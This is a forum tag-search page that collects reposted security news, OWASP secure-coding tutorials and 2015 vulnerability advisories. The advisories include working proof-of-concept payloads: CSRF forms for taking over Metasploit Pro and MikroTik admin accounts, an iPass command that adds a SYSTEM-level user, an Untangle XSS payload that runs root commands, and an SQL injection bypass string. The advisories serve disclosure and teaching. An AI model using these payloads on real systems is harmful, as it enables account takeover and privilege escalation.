Jump to content

Search the Community

Showing results for tags 'user'.

  • Search By Tags

    Type tags separated by commas.
  • Search By Author

Content Type


Forums

  • Informatii generale
    • Anunturi importante
    • Bine ai venit
    • Proiecte RST
  • Sectiunea tehnica
    • Exploituri
    • Challenges (CTF)
    • Bug Bounty
    • Programare
    • Securitate web
    • Reverse engineering & exploit development
    • Mobile security
    • Sisteme de operare si discutii hardware
    • Electronica
    • Wireless Pentesting
    • Black SEO & monetizare
  • Tutoriale
    • Tutoriale in romana
    • Tutoriale in engleza
    • Tutoriale video
  • Programe
    • Programe hacking
    • Programe securitate
    • Programe utile
    • Free stuff
  • Discutii generale
    • RST Market
    • Off-topic
    • Discutii incepatori
    • Stiri securitate
    • Linkuri
    • Cosul de gunoi
  • Club Test's Topics
  • Clubul saraciei absolute's Topics
  • Chernobyl Hackers's Topics
  • Programming & Fun's Jokes / Funny pictures (programming related!)
  • Programming & Fun's Programming
  • Programming & Fun's Programming challenges
  • Bani pă net's Topics
  • Cumparaturi online's Topics
  • Web Development's Forum
  • 3D Print's Topics

Find results in...

Find results that contain...


Date Created

  • Start

    End


Last Updated

  • Start

    End


Filter by number of...

Joined

  • Start

    End


Group


Website URL


Yahoo


Jabber


Skype


Location


Interests


Biography


Location


Interests


Occupation

  1. Facebook today reported a slight drop in government requests for user data, bucking a trend that peaked during the first half of 2014 with the highest numbers the company had seen. Its latest transparency report covers the second half of last year, and shows slight dips in requests for user data, the number of accounts referenced and the percentage of requests where Facebook turned over some data. The numbers are still high, however, and demonstrate a continued interest on the part of the government to use data from web-based services in criminal and national security cases. Despite dips in requests in the United States—and Germany—Facebook said overall requests for user account data was up slightly from its last report, as was the number of government requests for data and content restrictions. In the U.S., for example, Facebook received 14,274 requests for user data affected 21,731 accounts; Facebook said it complied with 79 percent of those requests, turning over some content or user data. Content restriction requests, meanwhile, were almost exclusively dominated by India and Ukraine. By comparison, Facebook through the first six months of 2014, fielded 15,433 requests for user data affecting 23,667 accounts; in 80 percent of those occasions, Facebook turned over some data. “We publish this information because we want people to know the extent and nature of the requests we receive from governments and the policies we have in place to process them,” said Monika Bickert, head of Facebook global policy management, and Chris Sonderby, Deputy General Counsel. “Moving forward, we will continue to scrutinize each government request and push back when we find deficiencies. We will also continue to push governments around the world to reform their surveillance practices in a way that maintains the safety and security of their people while ensuring their rights and freedoms are protected.” Facebook also provided some insight into its Community Standards, which define what is acceptable content that is allowed to be posted on the social network. Bickert and Sonderby said there are occasions, for example, when Facebook is asked to remove or restrict access to content because it violates local law, even though it may be within the bounds of its standards. Those numbers are also included in today’s report, along with more detail and examples of what constitutes Facebook’s Community Standards. “We challenge requests that appear to be unreasonable or overbroad,” Bickert and Sonderby said. “And if a country requests that we remove content because it is illegal in that country, we will not necessarily remove it from Facebook entirely, but may restrict access to it in the country where it is illegal.” Source
  2. # Exploit Title: Metasploit Project initial User Creation CSRF # Google Dork: N/A # Date: 14-2-2015 # Exploit Author: Mohamed Abdelbaset Elnoby (@SymbianSyMoh) # Vendor Homepage: http://www.metasploit.com/ # Software Link: http://www.rapid7.com/products/metasploit/editions-and-features.jsp # Version: Free/Pro < 4.11.1 (Update 2015021901) # Tested on: All OS # CVE : N/A Vulnerability: Cross Site Request Forgery - (CSRF) Info: http://www.owasp.org/index.php/Cross-Site_Request_Forgery_(CSRF) More Details: After doing some research, i have found that the anti csrf token "authenticity_token" value is not validated from the local server side which will result in a more csrf attack scenario around the whole local metasploit project. Affected URL(s)/PoC Code(s): -Change Local Metasploit Project User Settings <html> <body> <form action="https://127.0.0.1:3790/users/1" method="POST"> <input type="hidden" name="utf8" value="?" /> <input type="hidden" name="_method" value="put" /> <input type="hidden" name="authenticity_token" value="" /> <input type="hidden" name="user[fullname]" value="Attacker" /> <input type="hidden" name="user[email]" value="EMAIL" /> <input type="hidden" name="user[company]" value="COMPANY" /> <input type="hidden" name="user[time_zone]" value="Cairo" /> <input type="hidden" name="commit" value="Save Settings" /> <input type="submit" value="Submit form" /> </form> </body> </html> -Full Local Metasploit Project Account Takeover before setting up the first user settings <html> <body> <form action="https://127.0.0.1:3790/users" method="POST"> <input type="hidden" name="utf8" value="?" /> <input type="hidden" name="authenticity_token" value="" /> <input type="hidden" name="user[username]" value="Username" /> <input type="hidden" name="user[password]" value="PASSWORD" /> <input type="hidden" name="user[password_confirmation]" value="PASSWORD" /> <input type="hidden" name="user[fullname]" value="FUll_Name" /> <input type="hidden" name="user[email]" value="EMAIL" /> <input type="hidden" name="user[company]" value="COMPANY" /> <input type="hidden" name="user[time_zone]" value="Cairo" /> <input type="hidden" name="commit" value="Create Account" /> <input type="submit" value="Submit form" /> </form> </body> </html> More Details/Impact: -Change Local Metasploit Project User Settings -Full Local Metasploit Project Account Takeover before setting up the first user settings Report Timeline: [-] 14/02/2015: Reported to Rapid7 Security Team [-] 14/02/2015: Initial Reply from HD Moore acknowledging the vulnerability [-] 17/02/2015: Reply from "Eray Yilmaz" about the Operation and public disclosure rules [-] 20/02/2015: Reply from "Eray Yilmaz" about releasing a patch for the vulnerability in place, Fixed in Update 4.11.1 (Update 2015021901), https://community.rapid7.com/docs/DOC-3010 [-] 16/03/2015: Public Disclosure Thanks -- *Best Regards**,**,* *Mohamed Abdelbaset Elnoby*Guru Programmer, Information Security Evangelist & Bug Bounty Hunter. LinkedIn <https://www.linkedin.com/in/symbiansymoh>Curriculum Vitae <http://goo.gl/cNrVpL> <https://www.linkedin.com/in/symbiansymoh>Facebook <https://fb.com/symbiansymoh>Twitter <https://twitter.com/symbiansymoh> Source
  3. Mogwai Security Advisory MSA-2015-03 ---------------------------------------------------------------------- Title: iPass Mobile Client service local privilege escalation Product: iPass Mobile Client Affected versions: iPass Mobile Client 2.4.2.15122 (Newer version might be also affected) Impact: medium Remote: no Product link: http://www.ipass.com/laptops/ Reported: 11/03/2015 by: Hans-Martin Muench (Mogwai, IT-Sicherheitsberatung Muench) Vendor's Description of the Software: ---------------------------------------------------------------------- The iPass Open Mobile client for laptops is lightweight and always on. It provides easy, seamless connectivity across iPass, customer, and third-party networks, and allows you to mix and match carrier networks without disrupting your users. The iPass Open Mobile client for laptops allows organizations to provide granular options for how employees connect to iPass Wi-Fi (the iPass Mobile Network), campus Wi-Fi, mobile broadband (3G/4G), Ethernet, and dial, using a single platform to manage all connections. Open Mobile also enables cost and security controls that provide virtual private network (VPN) integration options; mobile broadband 3G/4G usage controls for both data roaming and data usage; endpoint integrity verification that checks the security of the device at the point of connection; and several additional options for setting network connection and restriction policies. Insight into an organizations mobility usage is provided through user and device activity and summary reports as well as mobile broadband usage reports. ----------------------------------------------------------------------- Vendor response: ----------------------------------------------------------------------- "We do not consider this a vulnerability as it is how the product was designed" Business recommendation: ----------------------------------------------------------------------- Disable the iPass service unless really required -- CVSS2 Ratings ------------------------------------------------------ CVSS Base Score: 5.6 Impact Subscore: 7.8 Exploitability Subscore: 3.9 CVSS v2 Vector (AV:L/AC:L/Au:N/C:P/I:C/A:N) ----------------------------------------------------------------------- Vulnerability description: ---------------------------------------------------------------------- The iPass Open Mobile Windows Client utilizes named pipes for interprocess communication. One of these pipes accepts/forwards commands to the iPass plugin subsystem. A normal user can communicate with this pipe through the command line client EPCmd.exe which is part of the iPass suite. A list of available commands can be displayed via "System.ListAllCommands". The iPass pipe provides a "iPass.EventsAction.LaunchAppSysMode" command which allows to execute arbitrary commands as SYSTEM. This can be abused by a normal user to escalate his local privileges. Please note that this issue can also be exploited remotely in version 2.4.2.15122 as the named pipe can also be called via SMB. However according to our information, the pipe is no longer remotely accessible in current versions of the iPass Mobile client. Proof of concept: ---------------------------------------------------------------------- The following EPCmd command line creates a local user "mogwai" with password "mogwai": EPCmd.exe iPass.EventsAction.LaunchAppSysMode c:\windows\system32\cmd.exe;"/c net user mogwai mogwai /ADD;; Disclosure timeline: ---------------------------------------------------------------------- 10/03/2015: Requesting security contact from iPass sales 10/03/2015: Sales responded, will forward vulnerability information to the development 11/03/2015: Sending vulnerability details 11/03/2015: iPass asks which customer we represent 11/03/2015: Responding that we don't represent any iPass customer 12/03/2015: iPass responded, wont fix, says that the product works as designed Advisory URL: ---------------------------------------------------------------------- https://www.mogwaisecurity.de/#lab ---------------------------------------------------------------------- Mogwai, IT-Sicherheitsberatung Muench Steinhoevelstrasse 2/2 89075 Ulm (Germany) info@mogwaisecurity.de Source
  4. Threat Level: High Severity: High CVSS Severity score: 7.0 Impact: Complete Integrity, Confidentiality, and Availability violation. EBay Reference: #EIBBP-31480 Vulnerability: (1) Unauthenticated Cross-Site Scripting Vulnerability (1) Filtration Bypass Vendor Overview “eBay Inc. is an American multinational corporation and e-commerce company, providing consumer to consumer & business to consumer sales services via Internet. It is headquartered in San Jose, California, United States. The company manages eBay.com, an online auction and shopping website in which people and businesses buy and sell a broad variety of goods and services worldwide. In addition to its auction-style sales, the website has since expanded to include "Buy It Now" shopping; shopping by UPC, ISBN, or other kind of SKU (via Half.com); online classified advertisements (via Kijiji or eBay Classifieds); online event ticket trading (via StubHub); online money transfers (via PayPal) and other services. eBay was founded by Pierre Omidyar in 1995, and became a notable success story of the dot-com bubble; it is a multi-billion dollar business with operations localized in over thirty countries.” [1] [2] Description Application data utilizes in its output, user input that is not validated or properly encoded. The application is vulnerable to an unauthenticated Cross-Site Scripting attack. Vulnerabilities that permit these attacks, are widespread and persist anywhere a web application makes use of user input without any security validation controls. A malicious adversary can use this to compromise the trust of unsuspecting users, by tricking them into visiting a seemingly benign and trusted site. The malicious payload is embedded within a seemingly benign URL. This way an attacker can steal user credentials, to hijack a user’s session, to force a redirection to a heterogeneous third-party website, and thus to force a user’s browser to execute unsafe actions on behalf of the attacker. [3] [4] In this attack scenario it is noted that “Visitor -> Vendor” trust-levels are directly impacted. Read more: http://dl.packetstormsecurity.net/1503-exploits/eBay030315.pdf
  5. MikroTik RouterOS < v5.0 Admin Password Change CSRF Vulnerability by @SymbianSyMoh</b></h1></br> <input type="submit" value="Do it" onclick="var btn=document.createElement('IFRAME');btn.src=' [url]http://192.168.0.2/cfg?page=status&counter=1000&process=password&password1=Pwn3D2015&password2=Pwn3D2015&button=ok';btn.width='0';btn.height='0';btn.id='myIframe';document.body.appendChild(btn);alert('Pwned[/url]') <http://s.bl-1.com/h/mPQQyg5?url=http://192.168.0.2/cfg?page=status&counter=1000&process=password&password1=Pwn3D2015&password2=Pwn3D2015&button=ok%27;btn.width=%270%27;btn.height=%270%27;btn.id=%27myIframe%27;document.body.appendChild(btn);alert(%27Pwned%27)> ;"></br> </body> </html> Video PoC: [url]http://youtu.be/FHrvHJeLjLA[/url] <http://s.bl-1.com/h/mPQQ237?url=http://youtu.be/FHrvHJeLjLA> -- *Best Regards**,**,* *Mohamed Abdelbaset Elnoby*Guru Programmer, Information Security Evangelist & Bug Bounty Hunter. LinkedIn <http://s.bl-1.com/h/mPQQ6S9?url=https://www.linkedin.com/in/symbiansymoh>Curriculum Vitae <http://s.bl-1.com/h/mPQQCrC?url=http://goo.gl/cNrVpL> <http://s.bl-1.com/h/mPQQHFF?url=https://www.linkedin.com/in/symbiansymoh> Facebook <http://s.bl-1.com/h/mPQQNfH?url=https://fb.com/symbiansymoh>Twitter <http://s.bl-1.com/h/mPQQS2K?url=https://twitter.com/symbiansymoh> Source
  6. Multiple issues have been discovered in the Untangle NGFW virtual appliance. The vendor was unresponsive and uncooperative to the researcher. - Persistent XSS leading to root Authentication requiredConfirmed in versions 9 and 11 (up to rev r39357) Throughout the Untangle user interface there are editable data tables for various user configuration options. An example of this is in: Configuration > Networking > Port Forwards. This table can be edited by clicking add to create a new port forward rule, or directly edited by double-clicking on the table rows themselves. The problem arises from malicious user input into some of the fields of these editable tables, which is not properly sanitised and allows for execution of user supplied Javascript code in the context of the users browser. Because this configuration data is saved into the backend database, this allows for Persistent XSS in each of the vulnerable fields/tables. This XSS attack is particularly devastating due to the fact that the malicious attacker can run commands as root on the virtual appliance, allowing for total system takeover. This is because the Untangle JSON-RPC API has access to functionality provided by the ExecManager class (https://gitorious.org/untangle/src/source/381ad9cb2d1d475bb43814b07bbb0df2d1ae7b58:uvm/api/com/untangle/uvm/ExecManager.java), which by default allows for arbitrary commands to be run as root on the system. A POC demonstrating the issue is below: Insert the following into the srcdoc attribute of a user-controlled iframe in the Description field or another vulnerable field (can also be styled to hide etc): Test <iframe srcdoc='[insert code]'></iframe> (single quotes) Insert: <html><head> <script type="text/javascript" src="/ext4/ext-all-debug.js"></script> <script type="text/javascript" src="/jsonrpc/jsonrpc.js"></script> <script type="text/javascript" src="/script/i18n.js"></script> <script type="text/javascript" src="script/components.js"></script> <script type="text/javascript" src="script/main.js"></script></head><body onload="exec()"><script type="text/javascript"> function exec() { var rpc = {}; rpc.jsonrpc = new JSONRpcClient("/webui/JSON-RPC"); var serverUID = rpc.jsonrpc.UvmContext.getServerUID(); alert(serverUID); rpc.execManager = rpc.jsonrpc.UvmContext.execManager(); var cmd = "whoami > /tmp/who"; var exit = rpc.execManager.execResult(cmd); alert("Command: " + cmd + " - Exit code: " + exit); }</script></body></html> - Information disclosure from Local Directory Authentication requiredConfirmed in versions 9 and 11, not fixed. The Local Directory interface shows a list of users stored on the Untangle system. Unfortunately, passwords are not sufficiently encrypted to prevent information disclosure. Each user in the local directory interface has an attribute, 'passwordBase64Hash', which is the base64 encoded string of the plaintext password. Because base64 is a bi-directional encoding scheme, the passwordBase64Hash attribute can be trivially decoded into the original plaintext string, revealing the password for each user. CH Source
  7. Seagate, over the weekend, confirmed the zero-day vulnerability in its Seagate Business Storage 2-Bay NAS boxes disclosed March 1. But in the same breath, told customers exposed to the vulnerability that a patch is still two months away. “For those customers who choose to keep their networks open, Seagate will be issuing a software patch for download expected May 2015,” said a statement emailed to Threatpost. Seagate said that after analyzing the vulnerability, it has determined the zero-day to be low risk because it affects only those customers to expose the NAS boxes to the Internet. “With factory settings, Business NAS products are not vulnerable. The user has to intentionally change a default setting to become susceptible,” Seagate said. Seagate has built a website for concerned customers with instructions on how to mitigate exposure, and encouraged users to put the NAS boxes behind a firewall when using them exclusively on internal networks. The vulnerability was publicly disclosed a week ago Sunday by Australian security consultancy Beyond Binary after five months of dialogue with Seagate that failed to produce a security update for the firmware issue in question, the researchers said. Beyond Binary said it used a Shodan scan to find 2,500 vulnerable devices exposed to the Internet. Beyond Binary said Seagate boxes running firmware version up to and including 2014.00319 are vulnerable and exploitable without authorization. The issue stems from a number of outdated components upon which the NAS products’ web-based management application is built. The app is used to manage files, access control and user accounts. The outdated components include versions of PHP and Lighttpd from 2010 and a version of CodeIgniter from late 2011; all of which have their own set of vulnerabilities that have been addressed in later versions of the respective components. Hackers can abuse each of these to lace the code with additional files and executables, or extract an encryption key to open up new avenues of attack, Beyond Binary said. The custom web app is not without its issues too as it stores information relevant to a user session inside a session cookie rather than on the webserver. Some of those values include the name of the user, whether they’re an admin and the language. “The fact that a static session encryption key is in use across all instances of the NAS means that once a user has a valid session cookie on one instance, they can apply that same cookie directly to another instance and acquire the same level of access,” the advisory said. “In short, once a user is logged in as admin on one instance, they’re effectively admin on every instance.” Source
  8. In the first part of this series, we covered the Top 5 OWASP ProActive Controls and learned how they can prove to be of great use in securing applications. In this part, we will look at the last 5 OWASP ProActive Controls and learn more about them. Protect Data and Privacy It helps to protect our data inside a database. Sensitive data like passwords, credit card details and bank account details etc. should be stored in encrypted or hashed format inside a database or chosen data storage. One should not use encryption and hashing interchangeably, as encryption and hashing are entirely different from each other. Encryption is used to convert readable text or plain text into unreadable text or cipher text. Encryption is a two way data conversion technique, meaning data which is encrypted can also be decrypted (if you have the decryption key). Encryption can be done in two main ways: Symmetric method Asymmetric method Symmetric encryption or Secret Key Cryptography (SKC) uses a secret key for encryption and decryption. It means the receiver uses same key that was used for encryption to decrypt. Asymmetric method or Public Key Cryptography (PKC) uses two sets of keys to perform encryption and decryption. One is a public key and another is a private key. Public Key is used for data encryption and Private Key is used for data decryption. Depending upon your application requirement, developers can choose between the two encryption methods. Hashing is different from encryption; unlike encryption, it is a one way process. It means data that’s converted into hashed format can never be converted into plain text. An application cannot choose hashing or encryption just like that. A ecure storage technique is chosen depending upon the data that has to be stored securely. At some time in the future, if the sensitive data is to be shown to the user in plaintext, then encryption is the best option (plaintext <->ciphertext). If the sensitive data is to be stored for some validation or authentication or verification, then hashing should be stored (Plaintext -> Hash). For example: Sensitive information between the client and server should also be in encrypted form. Hyper Text Transfer Protocol Secure (HTTPS) should be used instead of Hyper Text Transfer Protocol (HTTP) whenever any sensitive information is to be transmitted. When HTTPS is used, client server communication is encrypted using supported technology like SSLv2, SSLv3, TLS1.0, and TLS1.2. It is especially used to protect highly confidential data like online banking. The port number for HTTP is 80 and for HTTPS is 443. Implement Logging and intrusion Detection In an application, most requests are received using GET, POST, PUT, and DELETE methods. A request sent can be either a malicious request or a clean request. Malicious requests are those requests which contain attack vectors like SQL Injection, XSS, Unauthorized Data Access, etc. When there is public user activity or Intranet employee access, then the application should always keep track of all the activities taking place. Logging is very important in every application and one of the areas which is most neglected during development and deployment. Logging means storing log data about every request that is sent and received, such time, IP address, requested page, GET data, and POST data of a request. If a user is authenticated, then who is the user, when he logged in, when he logged out, etc. Since all user activity is being logged, it should also be noted that user sensitive data like password and financial details should NEVER be logged. Intrusion Detection means a malicious request with an attack vector has been detected and received by the application or not. If such a request has been received, then suitable actions like logging and request drop should be performed. For example, if a SQL Injection vulnerability exists on a login page, the application should have a feature to detect when SQL Injection is performed and should log time and from which IP address the attack originated, and then perform a suitable action on it. ModSecurity and OWASP ModSecurity Core Rule Set Project can prove to be of great use when you want to detect and/or prevent any malicious activity. Logging and intrusion detection is necessary to keep a record of every activity that takes place on an application. Intrusion detection is implemented along with logging to keep a check on when an attack or malicious data is received, so that it can be handled properly. Leverage Security Features of Frameworks and Security Libraries When developers start developing any application, either they don’t implement secure coding practices or use third party libraries for implementing security features. But most programming languages or development framework have built-in security functions and libraries which can be leveraged to implement security features in applications. Developers should use those built-in features instead of third party libraries. Recall OWASP Top 10 Vulnerabilities “A-9 Using Components with Known Vulnerabilities”. If third party components or libraries are used and any vulnerability is discovered in those components, then our application will automatically become vulnerable. It is recommended that developers should use security features provided by the programming language like escapeHtml() of httputils provided by Apache Commons Lang in Java and htmlentities() in PHP, which can be used to mitigate Cross-Site Scripting (XSS) vulnerability. But it is a known fact that industry tested security features are not readily available in programming languages. In such a case where useful and required security features or libraries are not available in the programming language you are using, then industry trusted and tested security libraries should be used. One of the well-known OWASP projects for this purpose is the OWASP ESAPI Project, which helps developers to implement security controls in their applications. For example: In Java we have security functions like escapeHtml() which can be used to mitigate XSS. String name = StringEscapeUtils.escapeHtml(request.getParameter(“name”)); PreparedStatement is used to mitigate SQL Injection. PreparedStatement ps=(PreparedStatement) con.prepareStatement(“select * from users where username=? and password=? limit 0,1?); Using built-in security features ensures that you don’t have to use unnecessary libraries you are not confident in or have security tested. Include Security-Specific Requirements When a software or web application development is to be started, then software requirements are laid out, which takes place in the early stage of an SDLC. As software requirements are mentioned initially in any project, security requirements should also be mentioned. Security requirements, if being made part of an SDLC, can help in implementing security inside the application and also identifying the key areas which can be exploited. According to OWASP Proactive Controls, three security requirements are important: Security features and functions; Business logic abuse cases; And data classification and privacy requirements. Security features and function\ All security details, such as application features, modules, database details, modules functioning and security implementation in modules should be mentioned in an application. It should be defined that all secure coding practices in any application should be implemented at the time of development. Business logic abuse cases When any application is designed, there is a way to access data and to perform operations. For example, when a user is performing an online banking transaction, some details are required within a well-defined process: Login to bank account. Choose your account to transfer from. Choose amount and destination account to transfer to. Enter profile password. Enter OTP password received on registered phone number. Confirm transaction. Wait for success message. All these steps define a data flow diagram or business logic. Now these details can have some weaknesses, which can make them vulnerable. When the business logic has been listed, key areas of weakness can be identified, and areas where security can be beefed up can be identified too. For example: User should not be able to choose someone else’s bank account as source account of transfer. User should not be able to bypass profile password requirement. OTP should be valid only once and for that account only. Data classification and privacy requirement Data classification and requirement should be decided at the time of development. When any application interacts with the user, then user data is received and stored. The answers to these questions should be decided in advance: Which data is to be accepted from the user? Is that data sensitive or not? Is that data to be stored? If data is sensitive, then should the application decide if it will be stored in encrypted or hashed format? If bank details are stored, then those details should be verified and validated by the application. Data authorization should also be decided at an initial stage, like who can access, delete and modify data. Since the application will be dealing with users and operations on user data. It is critical to maintain logs for all activities. Logging of activity was discussed above in the “Implement Logging and Intrusion Detection” section. Security Design and Architecture In the last one to nine OWASP ProActive Controls, we saw how to implement security in our code, which areas to secure, how to secure and what components can be used to help you implement better security in your application. In the last ProActive Control, we discuss the other areas of application security which can prove to be of great use and should not be neglected. OWASP has defined three key areas to take care of when developing any application: Know Your Tools Tiering, Trust and Dependencies Manage the Attack Surface Know Your Tools Every application is built using some server side language, client side language, database or no database, etc. Each component used could be the source of opening a security vulnerability in your application and server. For example, using an outdated version of Struts Framework can lead to a user exploiting remote code execution on it, or an older version of PHP leading to the same consequence. Similar is the case for databases and every other component which is used to build an application. So before starting any application development, it should be made clear what components can or may lead to a vulnerable application in the present or near future. Tiering, Trust and Dependencies Each layer of the whole application is called a tier. With each tier there is an associated level of risk and vulnerabilities that can crop in. For every tier — be it client side, server side, database, or anything — the risk associated with it should be calculated, and necessary mitigations should be implemented. When an application is interacting with user input and user data, trust is the only factor which decides which operation should be performed, when to perform, and on what to perform. An authentication page not implemented properly will have a poor trust level and will allow malicious users to access others’ data. In the worst case, it will result in a user transferring funds or accessing confidential company data without proper authorization. Application development involves using several components all together and making sure that each component will work with others. This is the case of dependency, where X component depends upon Y component for its proper functioning. It is very common to use older components to maintain reliability and proper functioning. But each dependency should be thoroughly checked, or else it can create an unwanted weakness inside the application. Manage Attack Surface The attack surface is the whole combined application including software, hardware, logic, client controls, server controls. Everything from physical, digital, to logical makes the attack surface. Any part of a setup if and when found to be vulnerable can act as an open entry gate for a malicious user to perform an action. Developers are usually not concerned about the web server software version the application will be deployed on. But older web server software like Apache or Struts can lead to an attacker successfully exploiting it and managing his/her way into the application and user data. Conclusion From OWASP ProActive Controls we learned how an application can be secured and how to identify the key areas of every application that can all together help in strengthening our application and stored data. OWASP ProActive Controls are a good place to start training developers to implement secure coding practices and beef up the security of key areas of an application like authentication, authorization, user data access and storage. But ProActive Controls should not be looked upon as the only set of controls for application security. It is a good place to start developing skills and knowledge leading to continuous learning and habitual secure coding practices. Reference https://www.owasp.org/index.php/OWASP_Proactive_Controls Source
  9. What is OWASP ProActive Controls? In one line, this project can be explained as “Secure Coding Practices by Developers for Developers“. OWASP ProActive Controls is a document prepared for developers who are developing or are new to developing software/application with secure software development. This OWASP project lists 10 controls that can help a developer implement secure coding and better security inside the application while it is being developed. Following these secure application development controls ensures that the key areas of the development cycle have secure coding along with traditional coding practices. The strength of this project is not just in the listed 10 controls but in the key references associated with it. Every control extends the knowledge and capabilities by mentioning existing OWASP or other open source projects that can be used to strengthen the security of an application. The ten controls defined by this project are: Parameterize Queries Encode Data Validate All Inputs Implement Appropriate Access Controls Establish Identity and Access Controls Protect Data and Privacy Implement Logging, Error Handling and Intrusion Detection Leverage Security Features of Frameworks and Security Libraries Include Security-Specific Requirements Design and Architect Security In Let us go deeper into each ProActive Control and see what it takes for us to implement it in the real world. PARAMETERIZE QUERIES One of the most dangerous attacks on a Web application and its backend data storage is SQL injection. It occurs when a user sends malicious data to an interpreter as an SQL query, which then manipulates the backend SQL statement. It is easy for an attacker to find a SQLi vulnerability using automated tools like SQLMap or by manual testing. The simplest and most popular attack vector used is: 1? or ‘1’= ‘1 Submitting it as a username and password or in any other field can lead to an authentication bypass in many cases. Here is an example of typical SQL injection in a user authentication module: String username= request.getParameter(“username”); String password= request.getParameter(“password”); Class.forName("com.mysql.jdbc.Driver"); Connection con = (Connection) DriverManager.getConnection("jdbc:mysql://database-server:3306/securitydb:", "root" ,"root"); Statement st= con.createStatement(); ResultSet rs=st.executeQuery("select * from users where username='"+username+"' and password='"+password+"' limit 0,1"); In this vulnerable code, the ‘Statement’ class is used to create a SQL statement, and at the same time it is modified by directly adding user input to it, then it is executed to fetch results from the database. Performing a simple SQLi attack in the username field will manipulate the SQL query, and an authentication bypass can take place. To stop a SQLi vulnerability, developers must prevent untrusted input from being interpreted as a part of a SQL query. It will lead to an attacker not being able to manipulate the SQL logic implemented on the server side. OWASP ProActive Controls recommends that developers should use parameterized queries only in combination with input validation when dealing with database operations. Here is an example of SQL query parameterization: String username=request.getParameter(“username”); String password=request.getParameter(“password”); Class.forName(“com.mysql.jdbc.Driver”); Connection con=( Connection) DriverManager.getConnection("jdbc:mysql://database-server:3306/securitydb:", "root" ,"root"); PreparedStatement ps=(PreparedStatement) con.prepareStatement("select * from users where username=? and password=? limit 0,1"); ps.setString(1,username); ps.setString(2,password); ResultSet rs=ps.executeQuery(); if(rs.next()) out.println("Login success"); else out.println("Login failed"); Using a parameterized query makes sure that the SQL logic is defined first and locked. Then the user input is added to it where it is needed, but treated as a particular data type string, integer, etc. as whole. In a database operation with a parameterized query in the backend, an attacker has no way to manipulate the SQL logic, leading to no SQL injection and database compromise. SQL injection vulnerability has been found and exploited in applications of very popular vendors like Yahoo! too. ENCODE DATA Data encoding helps to protect a user from different types of attacks like injection and XSS. Cross Site Scripting (XSS) is the most popular and common vulnerability in Web applications of smallest to biggest vendors with a Web presence or in their products. Web applications take user input and use it for further processing and storing in the database when ever needed. Also user input could be part of the HTTP response sent back to the user. Developers should always treat user input data as untrusted data. If user input at any point of time will be part of the response to user, then it should be encoded. If proper output encoding has been implemented, then even if malicious input was sent, it will not be executed and will be shown as plain text on the client side. It will help to solve a major web application vulnerability like XSS. Here is an example of XSS vulnerability: if(request.getMethod().equalsIgnoreCase("post")) { String name = request.getParameter("name"); if(!name.isEmpty()) { out.println("<br>Hi "+name+". How are you?"); } } In the above code, user input is not filtered and used, as it is part of message to be displayed to the user without implementing any sort of output encoding. Most common XSS vulnerabilities that affect users and are found in applications are of two types: Stored XSS Reflected XSS Stored XSS are those XSS which get stored on a sever like in a SQL database. Some part of the application fetches that information from the database and sends it to the user without properly encoding it. It then leads to malicious code being executed by the browser on the client side. Stored XSS can be carried out in public forums to conduct mass user exploitation. In Reflected XSS, the XSS script does not get stored on the server but can be executed by the browser. These attacks are delivered to victims via common communication mediums like e-mail or some other public website. By converting input data into its encoded form, this problem can be solved, and client side code execution can be prevented. Here is an example of output encoding of user input: if(request.getMethod().equalsIgnoreCase("post")) { String name = StringEscapeUtils.escapeHtml(request.getParameter("name")); if(!name.isEmpty()) { out.println("<br>Hi "+name+". How are you?"); } } In the next section you will see how input validation can secure an application. Combining input validation with data encoding can solve many problems of malicious input and safeguard the application and its users from attackers. OWASP has a project named OWASP ESAPI, which allows users to handle data in a secure manner using industry tested libraries and security functions. VALIDATE ALL INPUTS One of the most important ways to build a secure web application is to restrict what type of input a user is allowed to submit. This can be done by implementing input validation. Input validation means validating what type of input is acceptable and what is not. Input validation is important because it restricts the user to submit data in a particular format only, no other format is acceptable. This is beneficial to an application, because a valid input cannot contain malicious data and can be further processed easily. Important and common fields in a web application which require input validation are: First Name, Last Name, Phone Number, Email Address, City, Country and Gender. These fields have a particular format which has to be followed, especially email and phone number, which is very common. It is a known fact that first name and last name cannot have numbers in them; you cannot have a name as John39 *Bri@n. Such user input is treated as malicious and thus requires input validation. Input validation can be implemented on client side using JavaScript and on the server side using any server side language like Java, PHP etc. Implementing server side input validation is compulsory, whereas client side is optional but good to have. Now input validation is again of two types: Blacklist Whitelist The simplest example to explain the two can be: A security guard stops all guys wearing a red t-shirt who are trying to enter a mall, but anyone else can enter. This is a blacklist, because we are saying the red color is blocked. Whereas a whitelist says that guys wearing white, black and yellow t-shirt are allowed, and the rest all are denied entry. Similarly in programming, we define for a field what type of input and format it can have. Everything else is invalid. It is called whitelisting. Blacklisting is invalidating an input by looking for specific things only. For example, specifying that a phone number should be of 10 digits with only numbers is whitelist. Searching input for A-Z and then saying it is valid or not is blacklisting, because we are invalidating using alphabet characters only. Blacklisting has been proven to be weaker than whitelisting. In the above case, if a user enters 123456+890, then a blacklist will say it is valid because it does not contain A-Z. But it is wrong. Whereas a whitelist will say it contains a character that is not a number, and only numbers are allowed, so it is invalid. Input validation can be implemented in a web application using regular expressions. A regular expression is an object that describes a pattern of characters. These are used to perform pattern based matching on input data. Here is the example of a regular expression for first name: ^[a-zA-Z ]{3,30}$ This regular expression ensures that first name should include characters A-Z and a-z. The size of first name should be limited to 3-30 characters only. Let’s take another example of regular expression for username: ^[a-z0-9_]{3,16}$ Here this expression shows that username should include alphabets ‘a-z’, numbers ‘0-9? and special characters underscore ‘_’ only. The input length should be limited to 3-16 only. Email address validation can be performed using the following regular expression: ^[a-zA-Z0-9.!#$%&'*+/=?^_`{|}~-]+@[a-zA-Z0-9-]+(?:\.[a-zA-Z0-9-]+)*$ Depending upon the programming language a developer uses to build an application, regular expression can easily be implemented in it. Another advantage of regular expressions is that there are many industry tested regular expressions for all popular input types. So you don’t have to write one from scratch and then get it security tested. It is better to use industry tested regular expressions than writing one on your own (which in most cases will be flawed). OWASP has an Input Validation Cheat Sheet to help you implement proper input validation in your application. IMPLEMENT APPROPRIATE ACCESS CONTROLS Before we begin, it should be crystal clear that authentication is not same as authorization. Authentication takes care of your identity, whereas authorization makes sure that you have the authority or privilege to access a resource like data or some sensitive information. A simple real world example to show this can be: Alice visits Bob’s home. Her identity is known to Bob, so he allows her to enter her home (if she was not known to Bob then entry would have been denied, aka authentication failure). Alice is now inside Bob’s home. But she cannot open Bob’s family safe at home, because she is not authorized to do so. On the other hand, Bob’s sister Eve is known, so successful authentication occurs, and she is a family member, so she is authorized to access the family safe, aka successful authorization. Implementing authorization is one of the key components of application development. It has to be ensured at all times that access certain parts of the application should be accessible to users with certain privileges only. Authorization is the process of giving someone permission to do 